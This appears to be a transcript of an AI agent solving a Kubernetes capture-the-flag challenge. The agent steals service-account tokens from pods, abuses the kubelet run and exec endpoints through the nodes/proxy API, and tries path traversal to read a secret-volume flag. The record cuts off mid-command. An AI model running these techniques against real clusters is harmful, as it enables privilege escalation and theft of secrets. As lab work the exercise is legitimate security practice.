kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
echo '=== DIRECT KUBELET NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY ANONYMOUS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
exit
echo '=== SR71 POD SPEC ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
echo '=== DIRECT KUBELET NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
...
</persisted-output>
Thinking
$ Bash
Extract key results from output
grep -E 'flag_ctf|Forbidden|Unauthorized|403|401|secret-volume|serviceAccount.*stealth|DIRECT|ANONYMOUS|sr71.*name' /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output | grep -v '^echo\|^kubectl\|^curl\|^TOKEN' | head -20
<persisted-output>
Output too large (33.1KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bp2dv91ui.txt

Preview (first 2KB):
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1
[?2004l{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"calico-node-b2kwl","generateName":"calico-node-","namespace":"kube-system","uid":"872260c9-e7e2-4530-9e26-1af19f7c3cfa","resourceVersion":"602","generation":1,"creationTimestamp":"2026-03-25T11:13:24Z","labels":{"controller-revision-hash":"66c856fcb5","k8s-app":"calico-node","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-03-25T11:13:24.524420442Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"calico-node","uid":"d79218c1-60df-4fe3-8d82-519a4e84dfdd","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2026-03-25T11:13:24Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:controller-revision-hash":{},"f:k8s-app":{},"f:pod-template-generation":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"d79218c1-60df-4fe3-8d82-519a4e84dfdd\"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{\"name\":\"calico-node\"}":{".":{},"f:env":{".":{},"k:{\"name\":\"CALICO_DISABLE_FILE_LOGGING\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV4POOL_IPIP\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV4POOL_VXLAN\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV6POOL_VXLAN\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_NETWORKING_BACKEND\"}":{".":{},"f:name":{},"f:valueFrom":{".":{},"f:configMapKeyRef":{}}},"k:{\"name\":\"CLUSTER_TYPE\"}":{".":{},
...
</persisted-output>
Thinking
$ Bash
Try direct kubelet POST and check node-2 anonymous auth
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "=== POST to kubelet node-2 with token ==="
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
echo ""
echo "=== POST anonymous ==="
curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
echo ""
echo "=== GET kubelet configz node-2 - check anonymous ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/configz 2>/dev/null | grep -o "anonymous[^}]*"
' 2>&1
exit
SSHEOF
Command running in background with ID: bo2tuauq9. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output
$ Bash
Check results
sleep 12 && grep -E 'POST|anonymous|flag|Forbidden|Unauthorized|401|403|configz' /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output | grep -v '^curl\|^echo\|^kubectl\|^TOKEN' | head -15
(Bash completed with no output)
$ Bash
Read end of output
tail -15 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null
(Bash completed with no output)
$ Bash
Extract actual results from background task
wc -l /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null; cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null | sed 's/\r//g' | grep -v '^\[?' | grep -v '^\]0;' | grep -v '_  _\|____\|Stealth\|Hidden\|WARNING\|INTERNET\|AIRGAP\|----\|^|\|^$\|^echo\|^kubectl exec.*sh -c\|^TOKEN\|^curl\|^kubectl get' | tail -15
0 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output

Still running. Let me try fresh.

$ Bash
Direct kubelet POST to sr71 on node-2 and check anonymous config
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | grep -v '_  _\|____\|Hidden\|WARNING\|INTERNET\|AIRGAP\|----\|^|\|plane\|namespace\|Welkom\|succes' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); echo "=1="; curl -sk -w "\nHTTP_%{http_code}" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1; echo "=2="; curl -sk -w "\nHTTP_%{http_code}" -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1; echo "=3="; kubectl get --raw /api/v1/nodes/node-2/proxy/configz 2>/dev/null | grep -o "anonymous[^}]*"'
exit
SSHEOF
Command running in background with ID: bvmg7isrq. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output
$ Bash
Check kubelet POST results
sleep 15 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output 2>/dev/null | sed 's/\r//g' | grep -E '=1=|=2=|=3=|HTTP_|flag|Forbid|Unauth|anon' | head -10
(Bash completed with no output)
$ Bash
Check if output exists
cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output 2>/dev/null | wc -c
0
Thinking
$ Bash
Direct kubelet POST with timeout
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
SSHEOF
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --mmax-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" ""https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd==cat /etc/secret/flag"' 2>&1
[?2004l
HTTP_000
command terminated with exit code 28
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 28
Connection to 18.134.180.16 closed.
Thinking

Can't reach kubelet directly (timeout). Must use API server proxy. Let me try the kubelet /logs/ endpoint — it serves files from /var/log/, and I need to check if I can traverse to the secret volume.

$ Bash
Explore kubelet logs endpoint and try to find sr71 pod UID
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
echo "=== LOGS DIR ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/logs/pods/ 2>&1 | head -20
echo "=== SR71 POD UID ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "sr71[^}]*uid\":\"[^\"]*\"" | head -3
echo "=== TRY PATH TRAVERSAL ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bc67c9-kzl82_" 2>&1 | head -5
'
exit
SSHEOF
[?2004l[?2004h> echo "=== TRY PATH TRAVERSAL ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bbc67c9-kzl82_" 2>&1 | head -5
[?2004l[?2004h> '
[?2004l=== LOGS DIR ===
<!doctype html>
<meta name="viewport" content="width=device-width">
<pre>
<a href="jumphost_jumphost-5f66c55446-d5bkl_b255e8a0-036e-498b-a12e-27317db5288a/">jumphost_jumphost-5f66c55446-d5bkl_b255e8a0-036e-498b-a12e-27317db5288a/</a>
<a href="kube-system_calico-node-b2kwl_872260c9-e7e2-4530-9e26-1af19f7c3cfa/">kube-system_calico-node-b2kwl_872260c9-e7e2-4530-9e26-1af19f7c3cfa/</a>
<a href="kube-system_kube-proxy-z776x_91aec4f6-f19a-40b9-9003-1628a43fba75/">kube-system_kube-proxy-z776x_91aec4f6-f19a-40b9-9003-1628a43fba75/</a>
<a href="sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/">sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/</a>
</pre>
=== SR71 POD UID ===
sr71-8d5bc67c9-kzl82","generateName":"sr71-8d5bc67c9-","namespace":"sr71-49fj1d92","uid":"08be1dd3-1296-4da0-be41-03ba7e61fc3e"
sr71-8d5bc67c9","uid":"e638c361-8667-4565-b066-825014a58d28"
=== TRY PATH TRAVERSAL ===
Error from server (NotFound): the server could not find the requested resource
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.

SR71 pod UID is 08be1dd3-1296-4da0-be41-03ba7e61fc3e. The secret volume would be at /var/lib/kubelet/pods/08be1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flag. Let me try path traversal from the /logs/ endpoint.

$ Bash
Try path traversal from kubelet logs to read secret volume
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
UID="08be1dd3-1296-4da0-be41-03ba7e61fc3e"
echo "=== TRY TRAVERSAL 1 ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F${UID}%2Fvolumes%2Fkubernetes.io~secret%2Fsecret-volume%2Fflag" 2>&1
echo "=== TRY TRAVERSAL 2 ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/../../lib/kubelet/pods/${UID}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
echo "=== TRY TRAVERSAL 3 - via containerLogs ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" 2>&1 | head -5
'
exit
SSHEOF
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpoods%2F${UID}%2Fvolumes%2Fkubernetes.io~secret%2Fsecret-volume%2Fflag" 2>&1
[?2004l[?2004h> echo "=== TRY TRAVERSAL 2 ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/../../lib/kubelet/pods/${UIDD}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
[?2004l[?2004h> echo "=== TRY TRAVERSAL 3 - via containerLogs ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/sr71" 2>&1 | head -5
[?2004l[?2004h> '
[?2004l=== TRY TRAVERSAL 1 ===
Error from server (Forbidden): nodes "node-2" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope
=== TRY TRAVERSAL 2 ===
Error from server (Forbidden): nodes "node-2" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope
=== TRY TRAVERSAL 3 - via containerLogs ===
Error from server (NotFound): the server could not find the requested resource
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Find sr71 container name and try more traversal techniques
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -25
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
echo "=== SR71 CONTAINER NAMES ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"containerName\":\"[^\"]*\"" | sort -u
echo "=== SR71 POD CONTAINERS ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"sr71[^\"]*\"" 
echo "=== CONTAINER LOGS DIR ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr71
echo "=== POD LOGS DIR ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/" 2>&1
echo "=== TRY DOUBLE ENCODE ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%2e%2e/lib/kubelet/pods/08be1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
'
exit
SSHEOF
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr71 > kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr71
[?2004l[?2004h> echo "=== POD LOGS DIR ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bbc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/" 2>&1
[?2004l[?2004h> echo "=== TRY DOUBLE ENCODE ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%2e%2e/lib/kubelet/pods/08bee1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flagg" 2>&1
[?2004l[?2004h> '
[?2004l=== SR71 CONTAINER NAMES ===
=== SR71 POD CONTAINERS ===
"name":"sr71-8d5bc67c9-kzl82"
"name":"sr71-8d5bc67c9"
=== CONTAINER LOGS DIR ===
<a href="sr71-8d5bc67c9-kzl82_sr71-49fj1d92_stealth-f0717e6b5c05622bfcdd08448d75cb4c525c149bd5c529c2797acf4da5806b47.log">sr71-8d5bc67c9-kzl82_sr71-49fj1d92_stealth-f0717e6b5c05622bfcdd08448d75cb4c525c149bd5c529c2797acf4da5806b47.log</a>
=== POD LOGS DIR ===
<!doctype html>
<meta name="viewport" content="width=device-width">
<pre>
<a href="stealth/">stealth/</a>
</pre>
=== TRY DOUBLE ENCODE ===
Error from server (NotFound): the server could not find the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Try containerLogs, exec via node proxy websocket, and run via GET
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
echo "=== CONTAINER LOGS ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1 | head -10
echo "=== TRY EXEC VIA NODE PROXY ==="
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-Version: v4.channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1
echo "=== TRY RUN VIA NODE PROXY GET ==="
curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?cmd=cat+/etc/secret/flag" 2>&1
'
exit
SSHEOF
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> echo "=== CONTAINER LOGS ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/stealth" 2>&1 | head -10
[?2004l[?2004h> echo "=== TRY EXEC VIA NODE PROXY ==="
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-VVersion: v4.channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "httpps://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d55bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=1" 2>&1
[?2004l[?2004h> echo "=== TRY RUN VIA NODE PROXY GET ==="
[?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" "https://kubernetes.deffault.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealtth?cmd=cat+/etc/secret/flag" 2>&1
[?2004l[?2004h> '
[?2004l=== CONTAINER LOGS ===
=== TRY EXEC VIA NODE PROXY ===
you must specify at least 1 of stdin, stdout, stderr=== TRY RUN VIA NODE PROXY GET ===
405: Method Not Allowed[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking

The exec endpoint IS reachable via nodes/proxy! The error "you must specify at least 1 of stdin, stdout, stderr" means RBAC passed. I just need proper websocket/SPDY protocol. Let me use kubectl with the node proxy URL.

$ Bash
Try SPDY upgrade with proper headers for kubelet exec
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
echo "=== TRY WITH ALL PARAMS ==="
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-Version: v4.channel.k8s.io" -H "X-Stream-Protocol-Version: v3.channel.k8s.io" -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | head -5
echo "=== TRY KUBELETCTL ==="
which kubeletctl 2>/dev/null || echo "no kubeletctl"
echo "=== TRY WGET WEBSOCKET ==="
wget -q -O- --no-check-certificate --header="Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | head -5
echo "=== TRY SOCAT ==="
which socat 2>/dev/null || echo "no socat"
'
exit
SSHEOF
[?2004l[?2004h> echo "=== TRY WITH ALL PARAMS ==="
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk --max-time 5 -H "Authorization: Bearer $TOKEN" -H "X-Stream-Protocol-VVersion: v4.channel.k8s.io" -H "X-Stream-Protocol-Version: v3.channel.k8s.io" -H  "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: chhannel.k8s.io" -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" "https://kubernetees.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=true" 2>&1 | heaad -5
[?2004l[?2004h> echo "=== TRY KUBELETCTL ==="
[?2004l[?2004h> which kubeletctl 2>/dev/null || echo "no kubeletctl"
[?2004l[?2004h> echo "=== TRY WGET WEBSOCKET ==="
[?2004l[?2004h> wget -q -O- --no-check-certificate --header="Authorization: Bearer $TOKEN" "htttps://kubernetes.default.svc/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8dd5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true&stderr=trrue" 2>&1 | head -5
[?2004l[?2004h> echo "=== TRY SOCAT ==="
[?2004l[?2004h> which socat 2>/dev/null || echo "no socat"
[?2004l[?2004h> '
[?2004l=== TRY WITH ALL PARAMS ===
you must specify at least 1 of stdin, stdout, stderr=== TRY KUBELETCTL ===
no kubeletctl
=== TRY WGET WEBSOCKET ===
sh: 8: wget: not found
=== TRY SOCAT ===
no socat
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.
Thinking

The kubelet exec endpoint is reachable but needs SPDY/websocket protocol. Let me use the jumphost (which might have more tools) with the stealth SA token.

$ Bash
Use stealth token on jumphost for node proxy exec
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
echo "=== CHECK TOOLS ==="
which python3 pip3 node npx websocat wscat 2>/dev/null
echo "=== GET STEALTH TOKEN ==="
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "token_length=${#STEALTH_TOKEN}"
echo "=== TRY KUBECTL WITH TOKEN ==="
kubectl --token="$STEALTH_TOKEN" get nodes 2>&1
echo "=== TRY KUBECTL EXEC VIA NODE PROXY WITH TOKEN ==="
kubectl --token="$STEALTH_TOKEN" get --raw "/api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command=cat&command=/etc/secret/flag&stdout=true" 2>&1
exit
SSHEOF
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== GET STEALTH TOKEN ==="
[?2004l=== GET STEALTH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccffb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "token_length=${#STEALTH_TOKEN}"
[?2004ltoken_length=1150
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== TRY KUBECTL WITH TOKEN ==="
[?2004l=== TRY KUBECTL WITH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl --token="$STEALTH_TOKEN" get nodes 2>&11
[?2004lNAME       STATUS   ROLES           AGE   VERSION
master-1   Ready    control-plane   45m   v1.35.1
node-1     Ready    <none>          44m   v1.35.1
node-2     Ready    <none>          44m   v1.35.1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo "=== TRY KUBECTL EXEC VIA NODE PROXY WITH  TOKEN ==="
[?2004l=== TRY KUBECTL EXEC VIA NODE PROXY WITH TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl --token="$STEALTH_TOKEN" get --raw "/appi/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth?command==cat&command=/etc/secret/flag&stdout=true" 2>&1
[?2004lError from server (BadRequest): the server rejected our request for an unknown reason
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking
$ Bash
Check for Python3 and try POST to kubelet run endpoint using Python
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
which python3 2>&1
python3 --version 2>&1
pip3 list 2>/dev/null | grep -i websocket | head -5
apt list --installed 2>/dev/null | grep -i websocket | head -5
echo "=== TRY PYTHON WEBSOCKET ==="
STEALTH_TOKEN=$(kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
python3 -c "
import ssl, json, urllib.request
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
token = '$STEALTH_TOKEN'
url = 'https://kubernetes.default.svc/api/v1/nodes/node-2/proxy/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth'
